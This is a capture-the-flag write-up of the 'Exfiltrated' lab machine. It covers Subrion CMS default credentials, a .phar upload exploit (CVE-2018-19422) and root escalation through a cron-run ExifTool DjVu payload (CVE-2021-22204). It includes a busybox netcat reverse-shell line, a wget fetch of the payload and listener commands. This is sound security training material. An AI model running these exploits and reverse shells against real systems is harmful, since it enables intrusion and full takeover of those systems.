the_open_door
coffee
ESEN

Exfiltrated

Proving Grounds PracticeMediumLinux192.168.195.163

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#subrion#cms#default-credentials#file-upload#cve-2018-19422#cron#exiftool#djvu#cve-2021-22204#oscp
TL;DR. Exfiltrated redirects to a vhost, exfiltrated.offsec, serving Subrion CMS 4.2.1. The panel accepts default credentials (admin/admin) and a filter-bypassing file upload gives RCE as www-data (CVE-2018-19422). On the box, a root cron runs exiftool over the images we upload (cron over a writable directory). That ExifTool version is vulnerable to the DjVu RCE (CVE-2021-22204): we upload a malicious .jpg, the cron processes it as root, and it hands us a root shell.

Recon

Initial scan

The reply TTL 61 → Linux: Linux starts the TTL at 64 and each routing hop decrements it, so 61 = 64−3; a hint, not proof (it can be spoofed), confirmed by the service scan. Two ports:

ping -c 1 192.168.195.163
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.195.163
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
nmap -p22,80 -sCV 192.168.195.163 -oN targetedScan
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://exfiltrated.offsec/
| http-robots.txt: 7 disallowed entries
|_/backup/ /cron/? /front/ /install/ /panel/ /tmp/ /updates/

HTTP - TCP 80

Port 80 doesn't answer by IP: it redirects to http://exfiltrated.offsec/ (name-based virtual hosting). The browser can't resolve that name until we declare it ourselves:

The browser shows Server Not Found at http://exfiltrated.offsec before adding it to hosts

We add it to /etc/hosts:

echo "192.168.195.163 exfiltrated.offsec" | sudo tee -a /etc/hosts
192.168.195.163 exfiltrated.offsec

Once resolved, the site shows a corporate template ("KICKSTART") with its Log in link. The robots.txt already hinted at interesting routes (/panel/, /backup/, /install/) and /panel/ is the admin panel:

The exfiltrated.offsec landing page is a KICKSTART template with a Log in link

Subrion CMS: default credentials

The panel accepts the default credentials admin / admin:

Subrion panel reachable with admin / admin

Inside, the general configuration confirms the product and version: the page-title suffix is :: Powered by Subrion 4.2:

Subrion panel; the page-title suffix confirms Powered by Subrion 4.2

Exploitation

Subrion CMS 4.2.1: file upload to RCE (CVE-2018-19422)

Subrion 4.2.1 carries CVE-2018-19422: the panel's file manager validates extensions incompletely, and uploading a .phar (which Apache executes as PHP) bypasses the filter and yields execution (CVE-2018-19422). The 49876.py exploit automates login, upload and webshell:

searchsploit 'subrion cms 4.2'
------------------------------------------------------------- ---------------------------
 Exploit Title                                               |  Path
------------------------------------------------------------- ---------------------------
Subrion CMS 4.2.1 - Arbitrary File Upload                    | php/webapps/49876.py
------------------------------------------------------------- ---------------------------

We copy the exploit and rename it to something manageable:

searchsploit -m php/webapps/49876.py
mv 49876.py subrioncms_exp.py
python subrioncms_exp.py -u http://exfiltrated.offsec/panel/ -l admin -p admin

The exploit uploads a .phar webshell and returns execution as www-data

[+] SubrionCMS 4.2.1 - File Upload Bypass to RCE - CVE-2018-19422
[+] Login Successful!
[+] Upload Success ... Webshell path: http://exfiltrated.offsec/panel/uploads/<rand>.phar
$ whoami
www-data

We keep Penelope listening on 22 (an egress-allowed port):

penelope 22

From the webshell we launch a reverse shell and stabilize it:

busybox nc 192.168.45.174 22 -e bash

Stabilized reverse shell as www-data on exfiltrated

(Penelope)> listeners add -p 22
[+] Got reverse shell from exfiltrated~192.168.195.163-Linux-x86_64  Assigned SessionID <1>
[+] Shell upgraded successfully using /usr/bin/python3!
www-data@exfiltrated:/var/www/html/subrion/uploads$ whoami
www-data

Privilege escalation

Root cron running ExifTool

Enumerating, /etc/crontab holds a root entry that runs a script every minute, and that script pipes exiftool over every .jpg in Subrion's uploads directory (cron over a writable directory):

cat /etc/crontab | tail
cat /opt/image-exif.sh
exiftool -ver

crontab with the root task running /opt/image-exif.sh; the script runs exiftool over /var/www/html/subrion/uploads; exiftool -ver = 11.88

* *   * * *   root    bash /opt/image-exif.sh
IMAGES='/var/www/html/subrion/uploads'
...
ls $IMAGES | grep "jpg" | while read filename;
do
    exiftool "$IMAGES/$filename" >> $LOGFILE
done

Two facts chain the escalation: the uploads directory is writable by www-data (we uploaded the webshell there), and exiftool -ver returns 11.88, vulnerable to the DjVu RCE.

CVE-2021-22204: RCE in ExifTool via DjVu

ExifTool <= 12.23 executes code when parsing the metadata of an embedded DjVu image (CVE-2021-22204). Searching the CVE leads to LazyTitan33's exploit, whose README describes the flaw (DjVu in ExifTool 7.44+):

GitHub repo LazyTitan33/ExifTool-DjVu-exploit: CVE-2021-22204, RCE via the DjVu format in ExifTool

With it we build a payload.jpg carrying an embedded reverse shell back to us:

git clone https://github.com/LazyTitan33/ExifTool-DjVu-exploit
python3 CVE-2021-22204.py 2>/dev/null

The CVE-2021-22204 exploit builds payload.jpg ready to use

payload.jpg image is ready to be used.
# ls
CVE-2021-22204.py  README.md  payload.jpg

We download payload.jpg into the (writable) uploads directory and set up a listener. When the root cron processes the image with exiftool, it will fire the payload:

# in the www-data shell
wget http://192.168.45.174/payload.jpg
# on our machine
rlwrap nc -nlvp 4445

The root cron fires the payload and we get a root shell

listening on [any] 4445 ...
connect to [192.168.45.174] from (UNKNOWN) [192.168.195.163] 58954
bash: cannot set terminal process group (43250): Inappropriate ioctl for device
bash: no job control in this shell
root@exfiltrated:~# whoami
root

Within a minute the listener catches the connection as root.

Local and Proof

As root we read both flags (local.txt lives in coaran's home):

cat /home/coaran/local.txt && whoami && ip a && hostname

local.txt read as root on exfiltrated

97a8e54d8d285163f2d806adc7ab7d1f
root
cat proof.txt && whoami && ip a && hostname

proof.txt read as root on exfiltrated

58714e9cfb1152b414ff197ba095f86e
root

Attack chain

HTTP (80)  --  redirect -> vhost exfiltrated.offsec (Subrion CMS)
        │  panel with default creds (admin/admin)
        │  CVE-2018-19422: .phar upload -> RCE
        ▼
www-data
        │  root cron -> exiftool over /var/www/html/subrion/uploads (writable)
        │  exiftool 11.88 vulnerable -> CVE-2021-22204 (DjVu payload.jpg)
        ▼
root  (local.txt + proof.txt)

Lessons learned

  • A redirect to a vhost is a clue, not a wall. Port 80 by IP gave nothing until we added exfiltrated.offsec to /etc/hosts. The name in the redirect header was the way in.
  • Default credentials still open panels. admin/admin on Subrion was the entire authentication effort needed to reach the file upload.
  • Extension allowlists by name are fragile. CVE-2018-19422 abuses the fact that .phar runs as PHP and wasn't filtered; validation should be by real type with a strict allowlist.
  • A root cron touching an attacker-writable directory is RCE. No need to edit the script: just drop a file that vulnerable exiftool itself would process as root. Privileged tasks must not operate on data an untrusted user controls.
Command cheatsheet 13 commands

Quick review